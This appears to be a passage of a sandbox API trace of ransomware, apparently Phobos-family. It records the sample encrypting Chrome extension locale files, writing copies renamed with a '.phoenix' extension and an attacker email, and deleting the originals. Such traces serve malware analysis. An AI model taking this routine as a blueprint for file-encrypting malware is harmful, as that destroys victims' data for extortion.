	[0263.325] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.326] CryptDestroyKey (hKey=0x151340) returned 1
	[0263.326] CloseHandle (hObject=0x2c4) returned 1
	[0263.326] CloseHandle (hObject=0x2c0) returned 1
	[0263.326] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json")) returned 1
	[0263.327] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.327] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.328] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=254) returned 1
	[0263.328] CloseHandle (hObject=0x2c0) returned 1
	[0263.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json")) returned 0x20
	[0263.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.328] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.328] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.328] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.328] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.329] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0263.329] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.329] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xfe, lpOverlapped=0x0) returned 1
	[0263.330] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100, dwBufLen=0x100 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100) returned 1
	[0263.330] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x100, lpOverlapped=0x0) returned 1
	[0263.331] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1510c0) returned 1
	[0263.331] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.331] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.331] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0263.331] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.331] CryptDestroyKey (hKey=0x151040) returned 1
	[0263.331] CloseHandle (hObject=0x2c0) returned 1
	[0263.331] CloseHandle (hObject=0x2c4) returned 1
	[0263.331] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json")) returned 1
	[0263.332] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.332] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.346] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=249) returned 1
	[0263.346] CloseHandle (hObject=0x310) returned 1
	[0263.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json")) returned 0x20
	[0263.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.347] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.347] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.347] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.347] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.348] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0263.348] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.348] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xf9, lpOverlapped=0x0) returned 1
	[0263.349] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100, dwBufLen=0x100 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100) returned 1
	[0263.349] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x100, lpOverlapped=0x0) returned 1
	[0263.350] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1515c0) returned 1
	[0263.350] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.350] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.350] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0263.350] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.351] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0263.351] CloseHandle (hObject=0x310) returned 1
	[0263.351] CloseHandle (hObject=0x2b0) returned 1
	[0263.351] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json")) returned 1
	[0263.352] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.352] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.352] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=215) returned 1
	[0263.352] CloseHandle (hObject=0x2b0) returned 1
	[0263.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json")) returned 0x20
	[0263.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.352] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.353] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.353] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.353] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.353] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0263.353] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.353] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xd7, lpOverlapped=0x0) returned 1
	[0263.354] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0263.354] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0263.355] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0263.355] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.355] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.355] CryptDestroyKey (hKey=0x151640) returned 1
	[0263.355] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.355] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0263.355] CloseHandle (hObject=0x2b0) returned 1
	[0263.355] CloseHandle (hObject=0x310) returned 1
	[0263.355] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json")) returned 1
	[0263.356] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.356] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.364] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=269) returned 1
	[0263.364] CloseHandle (hObject=0x2b0) returned 1
	[0263.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json")) returned 0x20
	[0263.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.364] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.364] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.364] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.364] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.365] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151340) returned 1
	[0263.365] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.365] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x10d, lpOverlapped=0x0) returned 1
	[0263.410] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0263.410] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0263.412] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1515c0) returned 1
	[0263.412] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.412] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.412] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0263.412] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.412] CryptDestroyKey (hKey=0x151340) returned 1
	[0263.412] CloseHandle (hObject=0x2b0) returned 1
	[0263.413] CloseHandle (hObject=0x2c4) returned 1
	[0263.413] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json")) returned 1
	[0263.414] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.414] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.415] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=289) returned 1
	[0263.415] CloseHandle (hObject=0x2c4) returned 1
	[0263.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json")) returned 0x20
	[0263.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
